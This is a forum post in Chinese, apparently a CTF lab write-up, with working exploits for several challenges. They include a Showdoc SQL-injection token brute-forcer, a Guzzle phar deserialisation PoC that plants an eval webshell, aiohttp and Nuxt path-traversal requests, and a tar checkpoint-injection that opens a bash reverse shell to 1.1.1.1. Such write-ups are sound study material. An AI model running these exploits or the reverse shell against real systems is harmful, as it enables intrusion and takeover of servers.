掌控安全CTF - 8月(WEB&AWD方向)

打印 上一主题 下一主题

主题 1020|帖子 1020|积分 3060

好久没更新了,水一篇。
  0x01 Web

1. web-php

标题代码如下:
  1. <?php
  2.         show_source(__FILE__);
  3.         file($_POST['a']);
  4. ?>
复制代码
老演员了,涉及PHP filter文件读取攻击,参考:PHP Filter链——基于oracle的文件读取攻击  , 提示 flag 在 /flag 上,脚本一把梭。

2. web2

showdoc,跟着某些文章复现即可,我这个地方从暴破 token 到 phar 反序列化完整地走了一篇,就当复习知识点了。暴破 token 脚本如下:
  1. import argparse
  2. import ddddocr
  3. import requests
  4. import onnxruntime
  5. from urllib.parse import urljoin
  6. onnxruntime.set_default_logger_severity(3)
  7. table = '0123456789abcdef'
  8. proxies = {'http': 'http://127.0.0.1:8085'}
  9. headers = {'Authorization': 'Basic emthcTp6a2Fx'}
  10. ocr = ddddocr.DdddOcr()
  11. ocr.set_ranges(table)
  12. class RetryException(Exception):
  13.     pass
  14. def retry_when_failed(func):
  15.     def retry_func(*args, **kwargs):
  16.         while True:
  17.             try:
  18.                 return func(*args, **kwargs)
  19.             except RetryException:
  20.                 continue
  21.             except Exception as e:
  22.                 raise e
  23.     return retry_func
  24. def generate_captcha(base: str):
  25.     data = requests.get(f"{base}?s=/api/common/createCaptcha", headers=headers).json()
  26.     captcha_id = data['data']['captcha_id']
  27.     response = requests.get(f'{base}?s=/api/common/showCaptcha&captcha_id={captcha_id}', headers=headers)
  28.     data = response.content
  29.     result = ocr.classification(data)
  30.     return captcha_id, result
  31. @retry_when_failed
  32. def exploit_one(base: str, current: str, ch: str) -> str:
  33.     captcha_id, captcha_text = generate_captcha(base)
  34.     data = requests.get(base, params={
  35.         's': '/api/item/pwd',
  36.         'page_id': '0',
  37.         'password': '1',
  38.         'captcha_id': captcha_id,
  39.         'captcha': captcha_text,
  40.         'item_id': f"aa') UNION SELECT 1,1,1,1,1,(SELECT 1 FROM user_token WHERE uid = 1 AND token LIKE '{current}{ch}%' LIMIT 1),1,1,1,1,1,1 FROM user_token; -- "
  41.     }, headers=headers).json()
  42.     if data['error_code'] == 0:
  43.         return ch
  44.     elif data['error_code'] == 10010:
  45.         return ''
  46.     elif data['error_code'] == 10206:
  47.         raise RetryException()
  48.     else:
  49.         print(f'error: {data!r}')
  50.         raise Exception('unknown exception')
  51. def main():
  52.     parser = argparse.ArgumentParser(description='Showdoc 3.2.5 SQL injection')
  53.     parser.add_argument('-u', '--url', type=str, required=True)
  54.     args = parser.parse_args()
  55.     target = urljoin(args.url, '/server/index.php')
  56.     res = ''
  57.     for i in range(64):
  58.         r = ''
  59.         for ch in list(table):
  60.             r = exploit_one(target, res, ch)
  61.             if r:
  62.                 res += ch
  63.                 break
  64.         print(f'Current result: {res}')
  65.         if not r:
  66.             break
  67. if __name__ == '__main__':
  68.     main()
复制代码
运行结果如下:
然后共同 user_token 打前台反序列化,phar poc如下:
  1. <?php
  2. namespace GuzzleHttp\Cookie{
  3.     class SetCookie
  4.     {
  5.         private $data = [];
  6.         public function __construct()
  7.         {
  8.             $this->data = array("Discard"=>false,"poc"=>'<?php eval($_REQUEST[0]);?>');
  9.         }
  10.     }
  11.     class CookieJar
  12.     {
  13.         /** @var SetCookie[] Loaded cookie data */
  14.         private $cookies = [];
  15.         public function __construct()
  16.         {
  17.             $this->cookies = [new SetCookie()];
  18.         }
  19.     }
  20.     class FileCookieJar extends CookieJar
  21.     {
  22.         /** @var string filename */
  23.         private $filename;
  24.         /** @var bool Control whether to persist session cookies or not. */
  25.         private $storeSessionCookies;
  26.         public function __construct($cookieFile, $storeSessionCookies = false)
  27.         {
  28.             parent::__construct();
  29.             $this->filename = $cookieFile;
  30.             $this->storeSessionCookies = $storeSessionCookies;
  31.         }
  32.     }
  33. }
  34. namespace {
  35.     $exampleWithClosure = new GuzzleHttp\Cookie\FileCookieJar("/var/www/html/Public/Uploads/shell.php",true);
  36.     $phar=new phar('image.phar',0);
  37.     $phar->startBuffering();
  38.     $phar->setMetadata($exampleWithClosure);
  39.     $phar -> setStub('GIF89a<?php __HALT_COMPILER();?>');
  40.     $phar->addFromString("test.txt","test");
  41.     $phar->stopBuffering();
  42. }
复制代码
运行上述php脚本后,就已经拿到了token以及phar文件。然后修改该phar文件后缀为jpg,同时构造本地文件上传表单,上传phar文件到对应的网站。
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <meta name="viewport" content="width=device-width, initial-scale=1.0">
  6.     <title>Form Upload</title>
  7. </head>
  8. <body>
  9.     <form action="http://dyvfgrqa.lab.aqlab.cn/server/index.php?s=/api/page/upload" method="post" enctype="multipart/form-data">
  10.         <input type="hidden" name="user_token" value="5d302c5281dc08432a2e8d0ce47d832b074dc5f9f461720078cbfb26b667e463">
  11.         <label for="file">Choose file to upload:</label>
  12.         <input type="file" name="file" id="file"><br><br>
  13.         <input type="submit" value="Upload">
  14.     </form>
  15. </body>
  16. </html>
复制代码
上传后会返回 sign,如图:
访问对应的路径获取phar文件路径,如图:
访问phar文件路径,webshell被天生。

验证webshell有效性。
获取flag,如图:

3. Just A Index

aiohttp/3.9.1中存在路径遍历毛病,只需要找准一个基础路径,利用../遍历即可。参考:CVE-2024-23334 aiohttp路径遍历毛病 ,可以看到页面种加载了一张图片,路径是:/img/what.jpeg,可以基于/img举行路径遍历,如图:

0x02 AWD

1. Nothing

给了一个附件,从附件中可以分析出前端使用了 nuxt 框架,存在文件读取毛病,PoC如下:
  1. GET /_nuxt/@fs/etc/passwd HTTP/1.1
  2. Host: example.com
复制代码
获取flag,如图:

2. Scan

调用 nuclei 对目的网站举行扫描,给了附件,部分代码如下:
  1. import flask
  2. import subprocess
  3. import re
  4. app = Flask(__name__)
  5. ... ...
  6. @app.route('/submit', methods=['POST'])
  7. def submit():
  8.     ... ...
  9.     if url is None:
  10.         return "No URL! ", 400
  11.     if not url_pattern.match(url):
  12.         return "URL格式错误!", 400
  13.     if url:
  14.         command = ['./nuclei', '--silent', '-u', url, '-t', '0day-templates.yaml']  
  15.         try:
  16.             result = subprocess.run(command, capture_output=True, text=True)
  17.             print(result.stdout)
  18.             if 'info' in result.stdout and '/api/v2/echo' in result.stdout and 'custom-templates' in result.stdout:
  19.                 return flag
  20.             else:
  21.                 return "非常安全,没有问题!"
  22.         except subprocess.CalledProcessError:
  23.             return "Error occurred while running command"
  24.     return "Invalid request"
  25. if __name__ == '__main__':
  26.     ... ...
复制代码
0day-templates.yaml文件内容如下:

这个地方直接用自己 vps伪造一个符合扫描规则的页面即可,代码如下:
  1. from fastapi import FastAPI, Request
  2. app = FastAPI()
  3. @app.get('/api/v1/version/')
  4. def api_version():
  5.     response = {
  6.         "version": "10.0.3",
  7.         "NAME": "HACKER",
  8.         "msg": "success"
  9.     }
  10.     return response
  11. @app.get('/api/v2/echo/')
  12. async def api_echo(request: Request):
  13.     return "zkaq{a} <script>alert(1111)</script>"
  14. if __name__ == '__main__':
  15.     import uvicorn
  16.     uvicorn.run(app, host="0.0.0.0", port=8081)
复制代码
扫描结果如下:

3. 压缩打包站

上传文件后,后端会存储用户的文件并将其打包并提供压缩包下载功能。给了附件,部分代码如下:
  1. from flask import Flask, g, render_template, request, redirect, make_response, send_file, after_this_request
  2. import uuid, os
  3. app = Flask(__name__)
  4. @app.before_request
  5. def check_uuid():
  6.     uuid_cookie = request.cookies.get('uuid', None)
  7.     if uuid_cookie is None:
  8.         response = make_response(redirect('/'))
  9.         response.set_cookie('uuid', str(uuid.uuid4()))
  10.         return response
  11.    
  12.     try:
  13.         uuid.UUID(uuid_cookie)
  14.     except ValueError:
  15.         response = make_response(redirect('/'))
  16.         response.set_cookie('uuid', str(uuid.uuid4()))
  17.         return response
  18.    
  19.     g.uuid = uuid_cookie
  20.     if not os.path.exists(f'uploads/{g.uuid}'):
  21.         os.mkdir(f'uploads/{g.uuid}')
  22. @app.route('/', methods=['GET'])
  23. def main():
  24.     return render_template('index.html', files=os.listdir(f'uploads/{g.uuid}'))
  25.    
  26.    
  27. @app.route('/api/upload', methods=['POST'])
  28. def upload():
  29.     file = request.files.get('file', None)
  30.     if file is None:
  31.         return 'No file provided', 400
  32.    
  33.     # check for path traversal
  34.     if '..' in file.filename or '/' in file.filename:
  35.         return 'Invalid file name', 400
  36.    
  37.     # check file size
  38.     if len(file.read()) > 1000:
  39.         return 'File too large', 400
  40.    
  41.     file.save(f'uploads/{g.uuid}/{file.filename}')
  42.     return 'Success! <script>setTimeout(function() {window.location="/"}, 3000)</script>', 200
  43. @app.route('/api/download', methods=['GET'])
  44. def download():
  45.     @after_this_request
  46.     def remove_file(response):
  47.         os.system(f"rm -rf uploads/{g.uuid}/out.tar")
  48.         return response
  49.     # make a tar of all files
  50.     os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
  51.     # send tar to user
  52.     return send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')
  53. if __name__ == "__main__":
  54.     app.run(host='0.0.0.0', port=2024, threaded=True)
复制代码
毛病触发点,关键在于:
  1. os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")
复制代码
此处涉及tar参数注入操作,具体原理参考:tar参数注入 ,构造文件命令如下:
  1. echo 'bash -c "bash -i >& /dev/tcp/1.1.1.1/10086 0>&1"' | base64
  2. echo "" > "--checkpoint-action=exec=echo [base64_reverseshell_payload] | base64 -d | bash" # 生成第一个文件
  3. echo "" > --checkpoint=1 # 生成第二个文件
  4. echo "" > test.txt # 生成第三个文件
复制代码
将三个文件分别上传,然后点击页面中的 download 下载压缩包。

vps吃到反弹shell,获取flag。


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

数据人与超自然意识

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表